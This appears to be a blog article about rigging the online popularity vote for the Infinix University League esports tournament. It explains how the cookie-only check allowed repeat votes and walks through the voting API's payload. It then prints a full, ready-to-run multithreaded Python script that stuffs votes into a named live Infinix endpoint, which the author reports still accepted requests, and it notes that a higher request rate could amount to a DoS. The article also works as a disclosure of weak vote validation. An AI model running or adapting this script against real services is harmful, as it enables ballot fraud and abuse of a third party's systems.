Infinix University League voting system is full of exploits— this article shows why

Infinix University League voting system is full of exploits— this article shows why

Infinix’s Voting system in the Infinix University League is exploitable in both their frontend and backend.

Infinix University League (XUL) is an initiative brought by Infinix Mobility for 8 select universities in Metro Manila to showcase their newly launched GT20 Pro 5G, bragging about the Moonton certified phone (MPL Official Tournament Phone). This was held last June of 2024.

About the Infinix University League voting

The voting, so-called Most Popular Team Voting Campaign, allows everyone to vote for their chosen team representing a university in the said tournament. The winner will win a cash prize and Infinix merchandise. However, things didn’t go as planned.

Their voting website is exploitable in the first place

The voting system is rigged in the first place. Their validation system is based on browser cookies, not on user’s IP address or the user’s XCLUB account. This means that a single user can do multiple votes on a browser’s Incognito or Private mode that effectively clears out cookies and site cache on exit.

This frontend exploit caused schools to balloon their votes, with schools racing with each other during the first few days of voting phase.

This is when things get interesting…

On the last days of voting, I saw TUP overtaking both PLMun and UPD in vote count. So I investigated further. However, what I found was shocking. Their backend API is as exploitable as their frontend does.

Generally, their website has a Voting API which POST requests to /retest/content/mlbb/voteTeam every voting. Team lists are pulled on a separate GET request to /retest/content/mlbb/teamList and outputs 8 teams, representing 8 universities.

Infinix’s University League Voting website and the Team List API

The JSON response contains the names of each team, university, number of total votes, how many times I (the person) has voted that team, and if I voted it (true/false). The key detail here that you have to pay attention is the team_id parameter.

Now, remember the Voting API I told you earlier? Let’s examine the payload. I copied the payload into Visual Studio Code so it is easier in the eyes. We’ll use PLMun Celestial Esports as the example in this whole blog.

The team voting request payload

I told you to pay attention to the team_id, unique_code, and the unique_id parameters. The Team ID is the ID that we just looked at from the Team List API above. The other two parameters are interesting, though. These are UUIDs, Version 4 UUID to be exact. They generate these to allegedly avoid rigging votes, but it won’t help either, as UUID generation is fairly easy — and I’ll show it to you later.

Now, we will use our lovely cURL in the terminal to vote! And with the help of UUID generators out in the internet, I can cast one vote to PLMun, using the terminal window and not the website.

In the screenshot above, you’ll see that I saved the payload as a JSON file. We’ll use it in casting our vote to PLMun using the terminal. I just need to generate a random UUID by googling “uuid generator” and pasting it into the last two parameters, and changing the team_id to 8, which corresponds to PLMun Celestial Esports.

Oh look, it worked! I have successfully voted a point for Celestials. Way to go! Now, I wonder if there’s a way to automate this… Oh wait, I can! Let’s get into that part, shall we?

The script

I used Python to do this script, with Requests, UUID, time, and Hyper-threading modules. Here’s how it works, and let’s go with PLMun again for this example.

import requests
import uuid
import time
import threading

def generate_uuid():
return str(uuid.uuid4())

With the UUID module, I get to generate random UUIDs to store in generate_uuid variable, which then is passed into another variable — the unique_code and unique_id parameters that are present on our payload.

def create_payload():
    unique_code = generate_uuid()
    unique_id = unique_code  
    payload = {
        "region": "ph",
        "device": "Website",
        "team_id": 8,
        "is_new": False,
        "nationality": "Philippines",
        "unique_code": unique_code,
        "unique_id": unique_id
    }
    return payload

After the variables are placed inside the payload, we will then use the Requests module to send a POST request to the Infinix API.

def send_vote():
    url = "https://hybrid.pre.infinix.club/retest/content/mlbb/voteTeam"
    headers = {
        'Content-Type': 'application/json'
    }
    payload = create_payload()
    response = requests.post(url, json=payload, headers=headers)
    return response

We need the response variable to let us (the console) know the response to our payload. We only need two responses, a success or a failure.

def automate_voting(interval=10):
    while True:
        try:
            response = send_vote()
            if response.status_code == 200:
                print("Vote submitted successfully!")
            else:
                print(f"Failed to submit vote: {response.status_code}")
            print("Response content:", response.content)
        except Exception as e:
            print(f"An error occurred: {e}")
        time.sleep(interval)

This is where the automation starts. If the request is successful, the console will print “Vote submitted successfully!” along with the response headers. However, if the request returns an error, the “else” will trigger along with the status code and the response headers.

If the script itself throws an exception like a drunk lad, the console will print an error. The interval variable and the time_sleep variable will be useless as we will see later.

def run_threads(num_threads, interval):
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=automate_voting, args=(interval,))
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

# Run 5 instances of the voting script in parallel using threads, each with a 5 sec interval
run_threads(5, interval=5)

Yep, we’re using multithreading to run multiple instances of the script with the amount of threads between intervals. That’s where the magic happens, as we can run multiple instances however we want with a set interval of whatever we want. We can make 10,000 requests every second, that is, if your internet connection is strong enough. That setting though will record 10,000 votes in their end and possibly trigger a DOS attack, so we’ll stick to 5 requests per 5 seconds.

And by running the script, it’ll send a request to the Infinix API five times every five seconds, or with our settings.

And with that, I successfully made PLMun to the top with this method. Or did I?

The results and takeaways

Well, Infinix has thought of this. They might have filtered the votes on their end based on IP address, and PLMun ended up with 8,101 votes, a far cry from 100,000+ exploited votes reported on the website.

The takeaway is that this exploit goes to show that strict measures should be enforced on these voting systems, even if you can filter human votes against bot votes. Frontend is what users always see, and their reputation is on the line if these brands don’t enforce security and reliability in voting.

Overall, this is their first shot on building a tournament like this. Thank you, Infinix, for initiating a tournament that allowed students to experience your products and compete at the same time in the ever-growing Esports industry. I hope that this exploit taught you a valuable lesson in regards to the voting system.

Huge disclaimer: I ran this experiment AFTER the voting period has concluded. It seems that Infinix API still accepts our script even after the voting period. I do not condone exploiting any websites in any manner, and this was done for educational purposes only. Franz Valles Media tried contacting Infinix regarding this matter, but we have received no response.

0 0 votes
Article Rating
Subscribe
Notify of
guest

This site uses Akismet to reduce spam. Learn how your comment data is processed.

0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments